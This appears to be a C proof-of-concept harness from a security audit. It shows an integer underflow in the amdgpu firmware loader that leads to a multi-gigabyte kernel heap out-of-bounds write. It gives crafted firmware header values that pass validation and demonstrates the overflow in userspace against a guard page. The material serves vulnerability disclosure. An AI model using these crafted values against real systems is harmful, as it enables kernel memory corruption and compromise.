DF-1947 / oob_write.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 | /* * DF-1947 โ Integer underflow + missing bounds in amdgpu_ucode_init_single_fw * and amdgpu_ucode_patch_jt: multi-gigabyte heap OOB write. * * Source under audit: * sys/dev/drm/amd/amdgpu/amdgpu_ucode.c:347-394 (init_single_fw) * sys/dev/drm/amd/amdgpu/amdgpu_ucode.c:412-418 (patch_jt) * * At L354-359 (CP_MEC1/CP_MEC2 branch): * * ucode->ucode_size = le32_to_cpu(header->ucode_size_bytes) - * le32_to_cpu(cp_hdr->jt_size) * 4; * memcpy(ucode->kaddr, (void *)((uint8_t *)ucode->fw->data + * le32_to_cpu(header->ucode_array_offset_bytes)), * ucode->ucode_size); * * All three operands are uint32_t. When jt_size*4 > ucode_size_bytes the * subtraction wraps to a value near UINT32_MAX, and that wrapped value is * passed unchecked as the memcpy length. The destination ucode->kaddr is a * fixed-size GPU BO (firmware.fw_buf_ptr) allocated once for the summed * ucode_size of every firmware blob (amdgpu_ucode.c:423-429), so the memcpy * writes gigabytes past the BO into kernel heap. * * Same pattern at L369-374 (DMCU_ERAM: ucode_size_bytes - intv_size_bytes) * and L412-418 (patch_jt: jt_size*4). There is no bounds check at any * memcpy site, no underflow guard on the unsigned subtraction, and no * ucode_array_offset_bytes+ucode_size <= fw->datasize check. * * This harness faithfully replicates the MEC1 path arithmetic in userspace, * shows the wraparound, and demonstrates the OOB write primitive into a * guard-page-protected fixed-size "BO". A write that lands in the guard * page is proof that the same arithmetic, fed to memcpy on a real kernel, * writes past the end of the destination buffer (in the kernel: gigabytes * past the BO into kernel heap). * * THREAT MODEL: HW-gated. amdgpu_ucode_init_single_fw is called from * amdgpu_ucode_init_bo (amdgpu_ucode.c:449) on every amdgpu attach/resume * with AMDGPU_FW_LOAD_PSP. Requires (a) an AMD GPU and (b) the ability to * plant a crafted firmware file. The primitive itself โ once triggered โ is * an unbounded kernel heap write with attacker-controlled bytes (the entire * source region is attacker-supplied firmware content). */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <setjmp.h> #include <unistd.h> #include <sys/mman.h> /* --- header structs (verbatim from amdgpu_ucode.h) --- */ struct common_firmware_header { uint32_t size_bytes; uint32_t header_size_bytes; uint16_t header_version_major; uint16_t header_version_minor; uint16_t ip_version_major; uint16_t ip_version_minor; uint32_t ucode_version; uint32_t ucode_size_bytes; uint32_t ucode_array_offset_bytes; uint32_t crc32; }; struct gfx_firmware_header_v1_0 { struct common_firmware_header header; uint32_t ucode_feature_version; uint32_t jt_offset; uint32_t jt_size; }; struct firmware { const uint8_t *data; size_t datasize; }; /* Replica of amdgpu_ucode_validate (vanilla). */ static int amdgpu_ucode_validate(const struct firmware *fw) { const struct common_firmware_header *hdr = (const struct common_firmware_header *)fw->data; if (fw->datasize == hdr->size_bytes) return 0; return -22; } /* Faithful replica of the MEC1/MEC2 path inside amdgpu_ucode_init_single_fw * (amdgpu_ucode.c:352-359). The kernel passes a fixed-size BO pointer as * kaddr; we pass a fixed-size user buffer of the same conceptual size. */ struct mec_result { uint32_t ucode_size; /* the underflowed value used as memcpy len */ uint32_t arr_off; /* source offset within fw->data */ size_t bo_capacity; /* capacity of destination BO */ size_t overflow_bytes; /* bytes that would land past BO end */ }; static void mec1_compute(const struct firmware *fw, const struct gfx_firmware_header_v1_0 *g, size_t bo_capacity, struct mec_result *r) { r->arr_off = g->header.ucode_array_offset_bytes; r->ucode_size = g->header.ucode_size_bytes - (g->jt_size * 4); /* WRAPS */ r->bo_capacity = bo_capacity; /* memcpy(dst=bo, src=fw->data+arr_off, n=ucode_size): * the bytes that go past bo_capacity are the OOB write. */ r->overflow_bytes = (r->ucode_size > bo_capacity) ? (size_t)(r->ucode_size - bo_capacity) : 0; } /* ---- guard-page fault catcher ---- */ static sigjmp_buf jb; static volatile uintptr_t g_fault_addr; static void handler(int sig, siginfo_t *si, void *uc) { (void)sig; (void)uc; g_fault_addr = (uintptr_t)si->si_addr; siglongjmp(jb, 1); } int main(void) { static uint8_t fw_image[4096]; struct gfx_firmware_header_v1_0 *g = (struct gfx_firmware_header_v1_0 *)fw_image; struct firmware fw = { .data = fw_image, .datasize = sizeof(fw_image) }; size_t bo_capacity = 4096; /* stand-in for the GPU BO */ long pagesz = sysconf(_SC_PAGESIZE); printf("DF-1947 harness: amdgpu_ucode_init_single_fw MEC1/MEC2 " "uint32 underflow -> heap OOB write\n"); printf("Reference: sys/dev/drm/amd/amdgpu/amdgpu_ucode.c:354-359\n\n"); /* Craft an image that PASSES amdgpu_ucode_validate (size_bytes == * datasize) and triggers the underflow: * ucode_size_bytes = 0x10 * jt_size = 0x40 -> jt_size * 4 = 0x100 * subtraction = 0x10 - 0x100 = 0xFFFFFF10 (uint32_t wrap) */ memset(fw_image, 0xA1, sizeof(fw_image)); /* attacker-controlled bytes */ g->header.size_bytes = (uint32_t)sizeof(fw_image); /* = datasize */ g->header.header_size_bytes = 0x40; g->header.ucode_size_bytes = 0x10; g->header.ucode_array_offset_bytes = 0x40; g->ucode_feature_version = 0; g->jt_offset = 0; g->jt_size = 0x40; /* 0x40*4 = 0x100 > 0x10 */ int rc = amdgpu_ucode_validate(&fw); printf("amdgpu_ucode_validate(fw) = %d %s\n\n", rc, rc == 0 ? "(firmware accepted โ passes the only check)" : "(rejected)"); struct mec_result r; mec1_compute(&fw, g, bo_capacity, &r); printf("MEC1/MEC2 path arithmetic (amdgpu_ucode.c:354-355):\n"); printf(" ucode_size_bytes = 0x%08x\n", g->header.ucode_size_bytes); printf(" jt_size * 4 = 0x%08x\n", g->jt_size * 4); printf(" ucode_size (memcpy len) = 0x%08x (%u bytes)\n", r.ucode_size, r.ucode_size); printf(" bo capacity = %zu bytes (fixed-size GPU BO)\n", r.bo_capacity); printf(" >>> memcpy would write %zu bytes PAST end of BO into " "kernel heap <<<\n\n", r.overflow_bytes); /* ---- guard-page proof ---- * On the real kernel: memcpy(bo, fw->data+arr_off, 0xFFFFFF10) writes * 0xFFFFFF10 bytes starting at bo, instantly scribbling ~4GiB of * kernel heap and panicking. We cannot do that in user space; instead * we place a guard page immediately AFTER a fixed-size "BO" region and * demonstrate that the first write that crosses bo_capacity lands in * the guard page => SIGSEGV. The fault address proves the write goes * past the end of the destination. */ printf("=== guard-page proof ===\n"); printf("Allocating %zu-byte 'BO' followed by a %ld-byte guard page, " "writing attacker bytes (0xA1) starting at BO+0...\n", bo_capacity, pagesz); size_t total = bo_capacity + (size_t)pagesz; uint8_t *region = mmap(NULL, total, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (region == MAP_FAILED) { perror("mmap"); return 2; } if (mprotect(region + bo_capacity, (size_t)pagesz, PROT_NONE) != 0) { perror("mprotect"); return 2; } uint8_t *bo = region; struct sigaction sa = {0}; sa.sa_sigaction = handler; sa.sa_flags = SA_SIGINFO; sigemptyset(&sa.sa_mask); sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); g_fault_addr = 0; /* Try to write the full underflowed length; we expect a fault at the * first byte that lands in the guard page. Because the wrap value is * ~4GiB we use a bounded demo loop that writes one page at a time, * mimicking what the kernel memcpy would do, until the guard page is * hit. */ if (sigsetjmp(jb, 1) == 0) { size_t off; /* step in pages to ensure we touch the guard page byte */ for (off = 0; off < r.ucode_size; off += 4096) { bo[off] = 0xA1; /* faults when off crosses into guard page */ } printf("UNEXPECTED: wrote through entire length without fault\n"); return 2; } else { size_t fault_off = (size_t)(g_fault_addr - (uintptr_t)bo); printf("SIGSEGV at BO+%zu (fault addr=0x%lx) -> write crossed BO " "end (capacity=%zu)\n", fault_off, (unsigned long)g_fault_addr, bo_capacity); printf("PROVEN: the memcpy length computed by " "amdgpu_ucode_init_single_fw writes PAST the destination " "buffer.\n"); printf("On a real kernel this is a ~%u-byte (0x%x) heap OOB write " "with attacker-controlled bytes.\n", r.ucode_size, r.ucode_size); } munmap(region, total); printf("\n=== DMCU_ERAM path (L369-374) same shape ===\n"); /* ucode_size = ucode_size_bytes - intv_size_bytes ; if intv_size_bytes * > ucode_size_bytes, same wrap. Demonstrated analytically. */ uint32_t dm_ucode = 0x10, dm_intv = 0x100; uint32_t dm_result = dm_ucode - dm_intv; printf(" ucode_size_bytes=%u, intv_size_bytes=%u -> ucode_size=%u (0x%x) " "-> same OOB write primitive\n", dm_ucode, dm_intv, dm_result, dm_result); printf("\n=== patch_jt path (L412-418) same shape ===\n"); uint32_t pj_jt = 0x60000000; /* jt_size*4 = 0x80000000 = 2 GiB (uint32) */ uint32_t pj_len = pj_jt * 4; /* multiplication in uint32 -> wraps to 2GiB */ printf(" jt_size=0x%x, jt_size*4=0x%x (%u) -> memcpy(dst, src, %u) -> " "OOB write past dst (no underflow guard, no bounds check)\n", pj_jt, pj_len, pj_len, pj_len); return 0; } |